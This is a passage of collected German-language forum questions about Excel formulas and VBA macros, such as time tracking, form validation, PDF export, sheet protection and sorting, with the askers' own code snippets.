  End If

     If Range("C10").Value = "Erstes-Interview" Then

    ActiveSheet.Range("B23:D23,B26:D33").Select

  End If

  ActiveWorkbook.EnvelopeVisible = True

    With ActiveSheet.MailEnvelope

   .Item.To = "xxx"

   '.Item.cc =

   '.Item.bcc =

   .Item.Subject = Range("C10").Value & " / Bitte um weitere Bearbeitung"

   .Item.Send

  End With

  End Sub

Hey Leute, folgende Situation:

Ich möchte gerne eine Excel Formel mit mehreren Tests in einer Zeile und der Summe am Ende erstellen. Hintergrund: Ich habe einen Mitarbeiter, welcher unterschiedliche Stundensätze im Büro bzw. im Außendienst verdient.

Um dies zu berechnen, setze ich in (E3) entweder ein "x" wenn er im Außendienst war oder lasse das "x" weg, wenn er im Innendienst war.

In F3 trage ich die Anfangszeit, in G3 die Endzeit ein und lasse mir in H3 die gearbeitete Zeit auswerfen. Das ganze wiederholt sich innerhalb der Zeile 20x (da 20 Arbeitstage im Monat).

Nun möchte ich am Ende der Zeile in DB3 eine Summe der gearbeiteten Zeiten im Büro ausgeworfen bekommen und in DE3 die Summe der Außendienst-Stunden.

Habt ihr eine Idee wie das realisierbar ist? Ich möchte jetzt nicht 20x verschachtelte IF-Formeln haben. Zum besseren Verständnis habe ich nochmal ein Screenshot angefügt. Danke schonmal!

Ich bin mir auch nicht sicher ob ich Richtig in VBA einfüge, der Sub Kopieren funktioniert nicht.

Mein Code:

Private Sub Worksheet_Change(ByVal Target As Range)

If Not Intersect(Target, Range("E8")) Is Nothing Then

 Cells.EntireRow.Hidden = False

 If Range("E8").Value = "Rogo AC" Then

   Columns("U:AH").Hidden = True

   Columns("U").Hidden = False

ElseIf Range("E8").Value = "Shunt 100A" Then

   Columns("U:AH").Hidden = True

   Columns("V").Hidden = False

 End If

End If

End Sub

-------------------------------------------------------------------------------------------------------------------------------

Sub Kopieren_speichern()

For i = 27 To 37

If Range("AK" & i).Value > 1 Then

Range("M" & i).Value = Range("AK" & i).Value

End If

Next i

End Sub

Danke im Voraus

Hallo zusammen,

ich habe einen Blattschutz in Excel rein gemacht. Und kann jetzt nicht mehr alle Filter auf einmal löschen, dieses Zeichen ist ausgegraut bei mir.

Beim Blattschutz habe ich allerdings auch schon den Autofilter angekreuzt und trotzdem funktioniert nur de Filter in den einzelnen Spalten. Ich möchte aber gerne alle Filter auf einmal löschen

Hallo, ich würde gerne Excel VBA über ein Textfeld eine Combobox erweitern. Also das was ich in ein Textfeld eingebe soll in der Combobox übernommen werden. Wie realisiere ich das?

Hallo, sobald ich auf die Schaltfläche "Hinzufügen" klicke, möchte ich gerne das überprüft wird, ob alle Felder ausgefüllt sind und eine der Optionen angewählt ist.

Alles klappt bisher nur die Überprüfung der Optionsfelder nicht.

Mein Ansatz war:

'Prüfung_2: Wahl zwischen Einnahme oder Ausgabe

If EinnahmenOption.Value = "False" Or AusgabenOption.Value = "False" Then

MsgBox Prompt:="Wähle Einnahme oder Ausgabe.", Title:="Option wählen"

Else

Prüfung_2 = "True"

End If

Problem ist, dass selbst wenn ich nichts auswähle keine Meldung kommt und einfach immer Prüfung_2 auf true gesetzt wird.

Hallo, wie kann ich eine Variable in einer Msg Box integrieren.

Folgendermaßen sieht der Code aus:

'Sollte eins der Felder (Monat.Text, Referenz.Text, Wert.Text) unausgefüllt sein, so soll die Variable den folgenden Wert annehmen

Dim Fehlendes_Feld As String

If Monat.Text = "" Then Fehlendes_Feld = Monat

If Referenz.Text = "" Then Fehlendes_Feld = Referenz

If Wert.Text = "" Then Fehlendes_Feld = Wert

MsgBox Prompt:="Bitte folgendes Feld ausfüllen: Fehlendes_Feld ", Title:="Fehler"

Die Msg Box zeigt mir halt den Text an und passt die Variable leider nicht an. Wie ändere ich das?

hallo liebe Community,

wir führen auf Arbeit eine Excelliste aller Lieferanten. Bei Anlegen des Lieferanten fragen wir verschiedene Dokumente ab, die wir zur Freigabe benötigen.

unter anderen benötigen wir verschiedene Zertifikate (ISO 9001, ..), deren Gültigkeit wir als Datum in der Liste hinterlegen. Meine Frage: Um die Liste stets aktuell zu halten und damit wir nicht das Neuanfragen eines abgelaufenen Zertifikates verpassen, besteht die Möglichkeit nach Ablauf (bzw. 2 Wochen vorher) des Datums eine automatische Email an den Lieferanten zu generieren? Optional würde auch eine E-Mail

an uns selber reichen, damit wir erinnert werden.

Vielen Dank im Voraus für Eure Hilfe!

Hallo an alle,

ich habe eine Excel mit mehreren Blättern und ein und derselben Datenüberprüfung (Dem selben Dropdownmenü für jedes Blatt). Nun musste ich die Liste um 2 Begriffe erweitern.

Das heißt, dass die Datenüberprüfung nichtmehr (als einfaches Beispiel) C3:C5 anzeigen soll, sondern C3:C7.

Gibt es einen entsprechenden VBA Befehl um alle Datenüberprüfungen auf einen Schlag umzuändern?

Ich habe eine Exceltabelle in der B2:B92 Daten (Datum) stehen. In Spalte A hätte ich jetzt gerne die passende KW dazu stehen was auch kein Problem ist mit =KÜRZEN((B2-DATUM(JAHR(B2-REST(B2-2;7)+3);1;REST(B2-2;7)-9))/7)

Jetzt kommt das ABER:

da in Spalte B die Daten mehrfach vorkommen (sind auch nach Datum sortiert) hätte ich gerne das die KW immer nur beim ersten Wochentag (Montag) einmal angezeigt wird und auch erst wieder beim Nächsten Montag. Und sollte das Datum in der Vergangenheit liegen Soll nur einmal "Rückstand" statt KW angezeigt werden. Gerne auch VBA lösungen falls es nicht mit einer Excel Formel funktioniert.

Hey Leute,

ich habe ein Problem mit der fortlaufenden Übertragung der Formel. Über ein Eingabefenster werden die Daten Teile, Datum usw. in die Datenbank übertragen und dabei automatisch eine neue Tabellenzeile eingefügt. Nun ist aber das Problem, dass unter der Spalte Daten die Formel =ZÄHLENWENN nicht richtig weiter übertragen wird sondern der Bereich (in diesem Fall von ($D$14:D21;D21) auf ($D$14:D22;D21)) erweitert wird. Dadurch werden die Daten nicht mehr richtig gezählt. Kann mir da jemand weiterhelfen?

Hallo,

ich habe ein simples Excel Makro aufgenommen, in der ich eine Tabelle nach bestimmten Kriterien Filtern muss. Die Tabelle kann variabel lang sein.

Durch die Funktion "Makro aufzeichnen" habe ich folgendes:

"ActiveSheet.Range("$A$1:$S$249").AutoFilter Field:=15, Criteria1:="0""

Wie kann ich die Zeilenlänge durch eine Variable ersetzen? Die Länge der Tabelle würde ich einfach durch:

X = (Range("A2").End(xlDown).Row)

ermitteln.

Bitte um Entschuldigung für die Frage, ich schreibe nur sehr selten Makros.

Vielen Dank für eure Hilfe. :)

Hallo liebe Community,

ich habe diverse Makros in meiner Excel Datei und ich würde gerne das ganze etwas "smarter" gestalten und eine Art Datenbank mit VBA erstellen, um viele Sachen in der Arbeitsmappe dadurch ändern/pflegen zu können. Externe Leute sollen und müssen dann nicht mehr in die VBA Oberfläche und mühsam das Makro suchen, um dort Pfade oder Zeilen zu ändern, falls sich was ändert.

Meine Frage:

Ist es möglich in ein Makro bei VBA eine Art Variable einzubauen bzw. Pfad, wo Excel z.B. in Tabelle1 in Spalte A1 den Wert/Namen findet?

Beispiel Makro:

Statt Daten123.xlsx soll dann ein Bezug hin, wo Excel in Tabelle1 in A1 den Namen Daten123.xlsx findet. Ist sowas möglich?

Dim sPfad As String
Dim wbQuelle As Workbook
Dim zelle As Range
Dim loletzte As Long

sPfad = "C:\Users\P\Desktop\Dateiordner\Unterordner\Daten123.xlsx"

If Dir(sPfad) <> "" Then

Set wbQuelle = Workbooks.Open(sPfad)

Call Test

loletzte = Cells(Rows.Count, 1).End(xlUp).Row

wbQuelle.Worksheets(1).Range("A7:I" & loletzte).Copy ThisWorkbook.Worksheets(3).Range("B2")

wbQuelle.Close savechanges:=False

End If

Hallo,

ich habe ein VBA-Script, in welchem die nächste freie Zeile gesucht wird.

In dieser Zeile sollen automatisch "alle Rahmenlinien" festgelegt werden.

Muss nicht unbedingt per VBA gelöst werden, darf auch gerne eine Regel sein.

Die Zellen vorzuformatieren möchte ich nicht.

hey Leute!

Ich habe leider ein kleines Problem mit dieser Excel Funktion. Diese Funktion berechnet die Quersumme wenn eine zahl ganzzahlig, gerade und numerisch ist, wenn dieses nicht zutrifft ist die Quersumme 0.

Mein Problem ist, dass bei der Quersumme immer 0 raus kommt und ich den Fehler einfach nicht finden kann.

Hallo,

habe bei meiner Exceldatei 10 Arbeitsmappen und ich möchte eine Arbeitsmappe davon separat als Datei abspeichern sodass ich unten nur mehr eine Arbeitsmappe stehen habe.

Habe mir hierfür einen einen Knopf erstellt und mit VBA den Knopf programmiert. Wenn ich ihn drücke, dann habe ich es bereits geschafft, dass die Mappe sich als PDF exportiert aber als Excel ist nicht möglich. Hier ist mein Code:

Sub EXCEL_erstellen()

Dim DateiName As String

DateiName = Range("AB3") & Range("AB2")

Range("A1:T61").ExportAsFixedFormat Type:=xlTypeXPS, Filename:=DateiName, Quality:=xlQualityStandard, IncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:=False

End Sub

Hallo zusammen,

ich habe folgendes Problem in meinem VBA Code in Excel. Aktuell öffne ich eine automatisch erstelle Excel Datei und kopiere deren Inhalt in meine Hauptdatei. Nach dem die Daten fertig kopiert wurden, nutze ich die Kill Funktion um die Datei zu löschen (dies funktioniert auch). Nach dem Kill Befehl, habe ich eine Msgbox die ausgibt dass alles funktioniert hat. Sobald ich jedoch in der Msgbox auf okay klicke, kommt eine Fehlermeldung, dass Excel die gelöschte Datei nicht mehr finden kann. Ich vermute es liegt daran, dass im im VBA Studio die Datei noch in den geöffneten Dateien angezeigt wird. Weiß jemand wie man die daraus entfernt?

Danke im voraus.

Hallo zusammen.... was mache ich falsch?

Ich habe ein Formular, welches automatisch die Nummer der virherigen Zeile plus 1 generiert.

Setze ich aber einen Text vor die zahl, kommt nur immer die 1 statt fortlaufend 2,3,4 usw.

Userform1.ticketid.value = "text"&worksheetfunction.max(range("b:b"))+1

Kann mir jemand helfen.

Vielen Dank

Hi, ich liebe Herausforderungen und komme auch nach und nach weiter. Nun habe ich diese Funktion welche prüft, ob eine bestimmte Datei geöffnet ist:

Public Function IsFileOpen(FileName As String)
    Dim filenum As Integer, errnum As Integer
    On Error Resume Next
    filenum = FreeFile()
    Open FileName For Input Lock Read As #filenum
    Close filenum
    errnum = Err
    On Error GoTo 0
    Select Case errnum
    Case 0
    IsFileOpen = False
    Case 70
    IsFileOpen = True
    Case Else
    Error errnum
    End Select
End Function

Mit dieser Funktion kann ich arbeiten, wenn das Dokument von wem auch immer geöffnet ist, öffnet sich eine UserForm.

Nun möchte ich gerne mit dieser Funktion ermitteln, welcher Benutzer das Dokument geöffnet hat:

Public Function LastUser(strPath As String) As String
    Dim strXl As String
    Dim strFlag1 As String, strflag2 As String
    Dim i As Integer, j As Integer
    Dim hdlFile As Long
    Dim lNameLen As Byte
   
    strFlag1 = Chr(0) & Chr(0)
    strflag2 = Chr(32) & Chr(32)
   
    hdlFile = FreeFile
    Open strPath For Binary As #hdlFile
        strXl = Space(LOF(hdlFile))
        Get 1, , strXl
    Close #hdlFile
   
    j = InStr(1, strXl, strflag2)
   
    #If Not VBA6 Then
        '// Xl97
        For i = j - 1 To 1 Step -1
            If Mid(strXl, i, 1) = Chr(0) Then Exit For
        Next
        i = i + 1
    #Else
        '// Xl2000+
        i = InStrRev(strXl, strFlag1, j) + Len(strFlag1)
    #End If
   
    '// IFM
    lNameLen = Asc(Mid(strXl, i - 3, 1))
    LastUser = Mid(strXl, i, lNameLen)
End Function

Aber das klappt nicht...

Ich habe es mit diesem Code probiert und diesen an meinen Pfad und das Dokument angepasst:

Private Sub TestVBA()
'http://www.xcelfiles.com/IsFileOpenVBA.htm
'// Just change the file to test here
Const strFileToOpen As String = "C:\Data.xls"
If IsFileOpen(strFileToOpen) Then
MsgBox strFileToOpen & " is already Open" & _
vbCrLf & "By " & LastUser(strFileToOpen), vbInformation, "File in Use"
Else
MsgBox strFileToOpen & " is not open", vbInformation
End If
End Sub

Bekomme immer Fehler 52.

Ich würde aber gerne den Benutzernamen auch später in der UserForm (anstatt einer MsgBox) im Label anzeigen, was ich ebenfalls nicht hinbekomme.

Weiß jemand, wie ich den Benutzernamen ermittel, der das Dokument geöffnet hat und ich diesen dann in den Label-Text einbauen kann? Oder geht das nicht?

Vielen herzlichen Dank im Voraus.

Hallo

Ich habe ein kleines Problem wo ihr mir sicher helfen könnt.

Ein habe ein kleines makro gefunden welches allen Bilder in meiner Excel gewisse Funktionen gibt.

Nun müsste ich es aber noch hinbekommen das beim öffnen der Excel ein klickt mit der linken Maustaste auf alle bilder durchgeführt wird.

Könntet ihr mir bei diesen Code helfen:

Klick auf alle bilder in der Excel

Danke

Hallo,

vielleicht kann mir mal wieder jemand bei einem Excel Problem helfen. Im Netz werde ich nicht fündig :-)

Ich habe in meiner Inventurliste (als Tabelle formatiert mit Ergebniszeile) einen Button eingefügt, der mir automatisch eine neue Zeile hinzufügt. In Zelle B8 zählt mir die Formel =Zeile(B1) die Positionen hoch. Damit er diese aber ordentlich zählt, müsste das Makro immer von der Ergebniszeile aus, eine neue Zeile hinzufügen - tut es aber nicht. Dadurch stimmen die Nummerierungen nicht. Kann man dem Makro sagen, dass er immer von der Ergebniszeile ausgeht, egal in welcher Zelle/Spalte diese steht?

Vielen Dank im Voraus :)

Hallo!

Ich habe folgendes Problem:

Als Beispiel habe ich den Bereich A1 - A10. Wenn ich "RE" in Zelle A3 eintrage, soll sich A3 - A10 einfärben. Genauso wenn ich in A5 "RE" eintrage, soll sich A5 - A 10 einfärben. Oder wenn ich A4 nutze, dann A4 -A10.

Es soll sich quasi immer die Zelle selbst und die darauffolgenden Zellen bzw. die restliche Zeile einfärben, je nach dem welche Zelle ich ausfülle. Es kann also auch A1, A2, A7, etc. sein.

Ich kenne nur die Formatierungen mit denen ich entweder die Zelle selbst nur einfärbe und die ganze Zeile A1 - A10. Ich möchte aber nur teilweise einfärben.

Geht das?

Vielen Dank im Voraus!

Ich habe hunderte Spalten. Manche von Ihnen sind gefüllt, manche leer. Gibt es eine Möglichkeit, die gefüllten Zellen, wie unten in Spalte G zu sehen, automatisiert zusammenzufassen? Manuell krieg ich das nicht hin, es ist zu viel.

Guten Morgen Allseits,

ich suche nach einem Schema, Erklärung Schritt für Schritt für Excel VBA Programmierung:

Habe von dem Prof. eine Anleitung dazu bekommen, aber das ist mehr so eine Märchengeschichte.

Nun seid IHR gefragt, habt ihr eine gute Quelle für mich wo das kurz und bündig, aber effizient erklärt wird?

Vielen Dankeschön Euch!

Hallo zusammen

Ich habe mir ein Add-In aus dem MS Store heruntergeladen.

Dieses Add-In heisst "Scann-IT to Office" und ist dafür da, um Barcodes zu scannen und ins Excel zu transferieren.

Dieses Add-in will ich nun per Makro aktiveren. Jedoch lässt es sich nicht einfach per Makro aufzeichnen lösen, da die Interaktionen in der Menu Leiste nicht registriert werden. Alle meine bisherigen Versuche per VBA Code sind bis jetzt gescheitert.

Vielen Dank für die Antworten.

In meiner Excel Tabelle ist nämlich eine Spalte, in der Bild-URLs als Hyperlinks gesetzt sind.

Folgendes würde ich in meiner Excel-Tabelle gerne tun können:

-Auf den Hyperlink klicken->es öffnet sich direkt mein Ordner und ich muss nur noch das Bild abspeichern.

Die Internetseite soll sich erst gar nicht öffnen, ich möchte das Bild direkt speichern können. Weiß jemand, wie das zu bewerkstelligen ist?

Gewöhnlich läuft es ja so ab:

Klickt man drauf, öffnet sich im Webbrowser erst das Bild. Danach Rechtsklick, Speichern unter und das Bild ist gespeichert.

Ich habe ein kleines Schere Stein Papier Programm gebaut und will jetzt, dass wenn ein Knopf gedrückt wird das Ergebnis des Computer Gegners angezeigt wird und nach einer Sekunde wieder entfernt wird. Ich habe alles fertig soweit, dass einzige, was ich noch brauche ist die Sekunde Wartezeit. Hier ist der Code:

Sub Submit_Button()
[A1] = "GO"
Application.OnTime Now + TimeValue("00:00:01"), "Spiel"
[A1] = ""
End Sub

Ich habe in Excel zwei Dateien. Nennen wir Sie A und B.

Wenn ich A öffne, erscheint beim öffnen eine msgbox in der ich gefragt werde, ob ich auch B öffnen will. Drücke ich Yes wird auch B geöffnet.

Private Sub Workbook_Open()

Dim a As Integer

a = MsgBox("B.xlsm auch öffnen?", vbYesNo)

If a = vbYes Then

Workbooks.Open "C:\Users\...\B.xlsm"

 Workbooks("A_.xlsm").Activate

End If

End Sub

Das selbe habe ich auch für B erstellt. D. h. ich öffne B und werde gefragt ob ich A öffnen will. Gehe ich auf Yes wird auch A geöffnet.

Soweit klappt alles. Allerdings:

Öffne ich z. B. A, dann werde ich nach B öffnen gefragt, klicke ich auf Yes wird B geöffnet und A aktiviert. Allerdings erscheint mir nun, da B geöffnet wird nochmal die Msgbox mit a = MsgBox("A.xlsm auch öffnen?", vbYesNo). Dies hatte ich ja so festgelegt, falls B geöffnet wird. Allerdings ist dies unsinnig, da A ja bereits offen ist.

Wie kann ich diese zweite MSGbox unterdrücken? D.h. ich öffne A, drücke Yes, B wird geöffnet. Nun soll das Ereignis Private Sub Workbook_Open() für B nicht ausgeführt werden, damit die msgbox ob ich A auch öffnen will nicht erscheint.

MFG

Hallo,

ich habe ein Userform erstellt mit einer Inputbox, das aus der Inputbox möchte ich in bspw. in Zelle C2 einfügen. Aber mit einem Zusatz.

  ThisWorkbook.Worksheets("Test").Range("C2").Value = Test.Value

Inputbox: Hallo

---------------

Dann möchte ich als Ausgabe in Zelle C2 "Test Hallo" in der Zelle haben.

Dass das, was vor Hallo steht, immer hinzugefügt wird.

Hallo erstmal,

Ich möchte in Excel ein Feld haben bei dem ich mit der Maus drüber fahre und ein Fenster aufkommt indem dann ein Bild ist. So weit so gut. Ich habe es mit Kommentaren probiert und den Hintergrund so formatiert, dass er das Bild wiedergibt. Allerdings verstellt sich immer wieder beim Öffnen der Datei die Kommentar Größe, sodass das Bild nicht ganz angezeigt wird (was allerdings erforderlich wäre. Es mit VBA mouse over label unsichtbar..... Zu probieren geht prinzipiell allerdings sind die Fenster so gestaltet, dass sie minimiert und maximiert werden (siehe Bild) dadurch passt das Label dann nicht mehr auf die Größe der Zelle, also bitte Hilfe, wie mach ich das am besten?

Danke schon im Voraus.

PS. Falls jemanden interessiert was diese Zeichen zu bedeuten haben, es geht um Rubiks Würfel.

Ich weiß, Kommentare wie: "nimm doch Trainingsapps, die sind besser" sind nett gemeint, allerdings möchte ich diese Problem unbedingt lösen, einfach damit ich nicht aufgebe.

Hallo Excel Profis !
Ich habe in mein Excel
Tabelle 1
Tabelle 2
Tabelle 3
Ich möchte dass, wenn ich zb in Tabelle 1 => A1 etwas schreibe dass mein Tabelle 2 sich nach dem unbenannt werden was ich in Tabelle 1 => A1 eingegeben habe.
z.B ich schreibe in Tabelle 1 => A1 => Januar hin.
Nun soll sich mein Tabelle 2 name in "Januar" unbenannt werden.

Kann mir da jemand helfen ?

ich benötige dringend Hilfe bei diesem Makro!

ich habe dieses Makro von einem Mitglied von gf.

dieses Makro benötigt dringend eine Schleife

von Zeile 1 To 6000

also Zeile 1 ist SUMME(ZÄHLENWENN($A1:$F1;$L:$Q))

und Zeile 2 wäre dann $A2:$F2

und das Ganze dann bis Zeile 6000

Sub FormelAnpassen()

Dim spalte As Long

Dim zeile As Long

Dim bezugZeile As Long

zeile = 2

bezugZeile = 0

For spalte = 20 To 200

   bezugZeile = bezugZeile + 1

   Cells(zeile, spalte).FormulaArray = "=SUM(COUNTIF($A1:$F1,$L$" & bezugZeile & ":$Q$" & bezugZeile & "))"

Next

End Sub

es wäre super wenn mir jemand helfen würde

danke im voraus

Ich hätte eine Frage bzgl. VBA. Ich habe eine Tabelle und möchte, dass wenn ich in der Spalte B etwas eintrage die anderen Zeilen in der eingetragenen Zeile einen Wert erhalten. Ich finde nur keine Funktion, wie ich am besten definieren kann, wenn eine Zelle aus Spalte B bearbeitet wird. Aktuell habe ich folgendes verwendet:

If Not Application.Intersect(Target, Range("C8:C10000")) Is Nothing Then

Aber das ist fehlerhaft, da wenn ich etwas lösche ein Widerspruch entsteht. Ich hoffe ihr könnt mir helfen

LG

Ich würde gerne in einer Excel-Arbeitsmappe einen Zellbereich so definieren, dass wenn ein bestimmter Nutzer darauf klickt automatisch ein Bild geöffnet wird welches irgendwo gespeichert ist. Bei allen anderen Benutzern sollte aber nichts passieren und der Zellbereich ganz normal bearbeitet werden.

Also so im Stile von: Wenn Benutzer XY auf den Zellbereich A1:A25 klickt öffnet sich automatisch c:/Beispielbild.jpg, sonst passiert nichts.

Leider kenne ich mich mit Makros kaum aus. Habe versucht mich hierzu etwas schlau zu lesen. Meine Codes haben aber alle nicht funktioniert.

Danke schon mal im voraus

Guten Morgen,

ich habe eine logische Abfolge von Schritten implementieren können welche auf VBA basieren.

Dabei ist der hier erste relevante Schritt wie folgt. Die anderen Schritte erfolgen über Buttons die in dem Arbeitsblatt selbst als Code geschrieben sind, also lokal.

Für den Anwendungsfall 1. müsste ich meines Verständnisses nach ein Modul nutzen um es global, für jeden aktiv zu schalten oder?

1. Erstelle aus einem Download welcher nicht immer gleich vom Dateninhalt ist, eine fornatierte Liste --> nutze dafür einfach strg +q bzw. strg+x. Also in VBA

Application.onkey "^x", "Tabellenstruktur'"

Das Ganze ist mit ausführenden Code als Modul gespeichert.

Jetzt fällt mir auf, dass das immer nur dann funktioniert wenn ich einmalig den Code über Alt + F11 in VBA selbst starte. Erst dann kann ich VBA schließen und den Short Key strg+q anwenden.

Ist an meinem Vorgehen etwas falsch?

Wie kann ich meine eingetragenen Werte der Kombobox sortieren, die ich mit .addItem eingetragen habe?

Ich befinde mich gerade in einem Excel spreadsheet und presse ein button. Das kopiert die URL eines aktiven Tabs vom Firefox und schreibt's in der aktiven Zelle, z.B. E9.

Ist das machbar, oder ueberhaupt moeglich?

Hallo zusammen.

ich habe einen ewigen VBA Code und dachte mir, diesen extra zu schützen. (Schutzfunktion von Excel)

Nun spinnt mein Programm an vielen Stellen.

cell.Interior.Pattern = xlNone

Wird ständig als falsch markiert, etc..

Woran liegt das?

Kann mein Code nicht auf die Tabellen zugreifen wenn diese ebenfalls gesperrt sind oder generell nicht auf die anderen module, userformen, tabellen, etc.

Hallo,

ich habe bereits meine Excel-Arbeitsmappe bestehend aus 250 Seiten mit jeweils 2Spalten und 250 Zeilen via vba zusammengeführt.

Allerdings wird dabei alles untereinander dargestellt und nicht nebeneinander. Kann man es so machen, dass sobald ein Worksheet abgearbeitet wurde und angezeigt wird, das nächste daneben in der Spalte beginnen lässt und immer so weiter.

Gibt es Möglichkeiten dort eine Art „Cut“ zu machen?

Sub Konsolidieren()
Dim Wks As Worksheet
Dim Bereich As Range
Dim strLC As String
Dim i As Integer
Set Wks = Worksheets.Add
Wks.Name = "Gesamt"
For i = 2 To Worksheets.Count
 With Worksheets(i).UsedRange
 strLC = .Cells(.Rows.Count, .Columns.Count).Address
 Set Bereich = .Range("A1:" & strLC)
 Bereich.Copy Destination:= _
 Wks.Cells(Rows.Count, 1).End(xlUp).Offset(1, 0)
 End With
Next i
End Sub

Hallo,

Excel-VBA....

ich benötige Hilfe beim Thema UserForm öffnen und ständige Abfrage.

Ich habe eine Zelle mit einer Formel, der Wert, welcher raus kommt soll verglichen werden und bei z.b höher als 2 soll eine User Form geöffnet werden.

Kann mir da wer helfen? Ich bin komplett auf dem Holzweg..

Der Code:

Private Sub Worksheet_Change(ByVal Target As Range)

If Target.Address = "$T$6" Then
If UCase(Target.Value) > 2 Then NewUserForm.Show
End If

End Sub

LG

Devo

Hallo,

habe in Excel ein Bild eingefügt und ändere immer nur zahlen, der name der Datei soll 2021-R1KI- und dann fortlaufende zahlen von 00 bis 150 sein. Möchte einen "Knopf" haben wo das Dokument als PDF mit in einem Ordner gespeichert wird und der Name die Textbox sein soll. In der Textbox wird dann stehen 2021-R1KI-000 zum Beispiel. Habe schon vieles probiert und auch von anderen übernommen und geändert aber es funktioniert nichts. Entweder speichert es nicht fortlaufend, überschreibt die 1. Datei oder das PDF ist nach dem Speichern beschädigt. Müsste es um die 600 mal speichern und jedes mal auf Speichern, pdf und neuen namen eingeben nervt auch extrem.

Kenne mich leider wenig bis gar nicht in VBA aus und bräuchte dafür ein script. Kennt wer eines?

Bitte und mit freundlichen Grüßen

Hallo zusammen,

ich habe momentan ein Problem, ich möchte, dass ich verschiedenen Tabellen auf einem Tabellenblatt habe. 

Es soll jede Tabelle im Reiter "Kundengruppe" von A->Z (Aufsteigend) sortiert werden, ohne, dass das VBA direkt einen Zellenbezug herstellt, da die höhe und tiefe der Tabellen mal nach Anzahl der Eintragungen variieren kann.

Hier der Link zur Datei:

https://www.herber.de/bbs/user/147794.xlsm

Range(Selection, Selection.End(xlDown)).Select

  ActiveWorkbook.Worksheets("OP").AutoFilter.Sort.SortFields.Clear

  ActiveWorkbook.Worksheets("OP").AutoFilter.Sort.SortFields.Add2 Key:=Range( _

    "Q16:Q18"), SortOn:=xlSortOnValues, Order:=xlAscending, DataOption:= _

    xlSortNormal

  With ActiveWorkbook.Worksheets("OP").AutoFilter.Sort

    .Header = xlYes

    .MatchCase = False

    .Orientation = xlTopToBottom

    .SortMethod = xlPinYin

    .Apply

  End With

Das ist der aktuelle Code, der Bereich mit <b>Range( _"Q17:Q18")</b> soll im besten fall weg, da das der punkt ist, wo die höhe der Tabelle variieren kann..

Der   Range(Selection, Selection.End(xlDown)).Select befehl, sucht ja in dem fall schon den richtigen anfang, und ab da soll dann der Filter gesetzt werden und gefiltert werden

Ich hoffe man versteht es einigermaßen...

Danke & LG

Chris

Hallo,

Ich habe folgendes Problem.

Ich habe einen Button mit dem man den Blattschutz de/aktivieren kann.

Jedoch kann man das PW umgehen, indem man einfach das Fenster schliest, indem man das PW eingibt.

Hat da jemand eine ahnung, wie ich das ausbessern kann?

Macro:

Private Sub CommandButton1_Click()

If MsgBox("Blattschutz aufheben/aktivieren?", vbYesNo) = vbYes Then

Else: Exit Sub

[...Aktion ausführen...]

End If

On Error GoTo PW

If ActiveSheet.ProtectContents = True Then

   ActiveSheet.Unprotect

   ' einblenden:

   ActiveWindow.DisplayHeadings = True

Else

   ActiveSheet.Protect Password:="+1516", DrawingObjects:=True, Contents:=True, Scenarios:=True, AllowFormattingRows:=True

   ' ausblenden:

   ActiveWindow.DisplayHeadings = False

End If

Exit Sub

PW:

MsgBox "Falsches Passwort"

End Sub

Hallo,

wir haben in der Berufsschule die Aufgabe bekommen, von Dezimal in Hexadezimal und dann in Oktal umzuwandeln in Excel, aber OHNE die Befehle wie DEZINBIN, DEZINHEX, DEZINOKT zu verwenden. Wie würde das ganze in Tabellen programmiert werden?

Moin ich komm mal direkt zum Punkt.

Ich mach grade eine Zeiterfassung. Wenn an einem Tag Wochenende ist, dann werden Zellen Orange hinterlegt. Aber damit die Zellen nicht nur in Oranger Farbe vorhanden sind, soll auch gleichzeitig in eine Zelle "Wochenen." geschrieben werden, wenn der Fall eintritt, dass die Zelle Orange hinterlegt ist. Ich bin relativ neu in VBA und muss leider eure Hilfe in Anspruch nehmen :P
Hier noch ein Bild:

Dazu kommt, dass dieses Makro dauerhaft laufen muss. Man soll nicht immer auf einen Knopf drücken müssen, damit das geht. Hoffe, dass eine Automatisiserung überhaupt möglich ist :/

Im Grunde genommen soll dieses Makro dauerhaft den gelben Bereich überwachen und in jede Zelle "Wochenen." reinschreiben, sobald sie Orange wird. Wenn die Zelle dann wieder Weis ist, dann soll der Text wieder rausgelöscht werden.

Hallo zusammen!

Wie schaffe ich es in Excel mithilfe von VBA eine bestimmte Zeile, welche in der ersten Spalte mit einem Index (1.1, 1.2 ...) gekennzeichnet wurde, durch die Angabe des Indexes die genaue Zeile in mein anderes Tabellenblatt zu kopieren.

Ich gebe also zum Beispiel im Tabellenblatt 2 in die erste Spalte "1.2" ein und es kopiert automatisch die mit "1.2" gekennzeichnete Zeile aus dem Tabellenblatt 1 in das Tabellenblatt 2.

Vielen Dank schonmal

Hallo,

folgende Logik soll umgesetzt werden:

Wenn Zelle A1 angeklickt wird, dann springe zur letzten aktiven Zelle im aktiven Tabellenblatt.

Habe im Internet "ActiveCell.Previous.Select" diesen Befehl gefunden, jedoch denke ich, dass es nicht dafür ist.

Hat jemand eine Idee wie ich dies umsetzen kann?

Guten Tag,

ich habe ewig im Netz gesucht aber nix passendes gefunden.

Ich würde gerne eine große Tabelle arbeitsblattübergreigend vergleichen. Je Woche wird hierzu ein neues Blatt eröffnet, in welcher sich eine Tabelle befindet, welche zum Teil andere Werte besitzt. Nun sollen die einzelne Zellen(String, Text) von dem neuen Arbeitsblatt mit dem letzten (sprich dem links davon) verglichen werden und identische Zellen markiert werden.

Wie kann ich das umsetzten?

Hallo,

ich frage mich, ob ich in VBA einer Array Zelle mehrere Werte zuordnen kann und falls ja, wie mache ich das?

Also bspw. Datenfeld (1, 1) = (und hier halt mehr als nur einen Wert)

Danke für eure Antworten

Ich wüsste gerne wie ich ihn VBA von Excel überprüfen kann ob eine Zahl gerade ist oder eben nicht.

DIe Zellen Formel schaut so aus:

=WENN(UND(ISTGERADE($P$44);D15>0;$P$44>0);D15*2;"") 

In VBA hab ich es wie folgt probiert:

If Range("P44") IsEven And Range("D15") > 0 And Range("P44") > 0 Then
Range("U15") = Range("D15") * 2
Else
Range("U15")=""
End If

Aber wie ihr euch denken könnt funktioniert es so nicht

Danke für eure Hilfe im Vorraus

Hey...

Ich habe folgende Tabelle in Excel 2019

Name Vorname DG Straße Telefonnummer ...................... etc

Muster Maxi .................................................................. etc

.....................

...................... usw

Nun möchte ich in einem extra Tab (in der gleichen Datei) eine Suchmaske erstellen mit drei Suchfeldern

(Name Vorname DG) und wenn ich das eingebe, soll er mir alle Daten die ich vor eingestellt abfrage ausspucken über die Person.

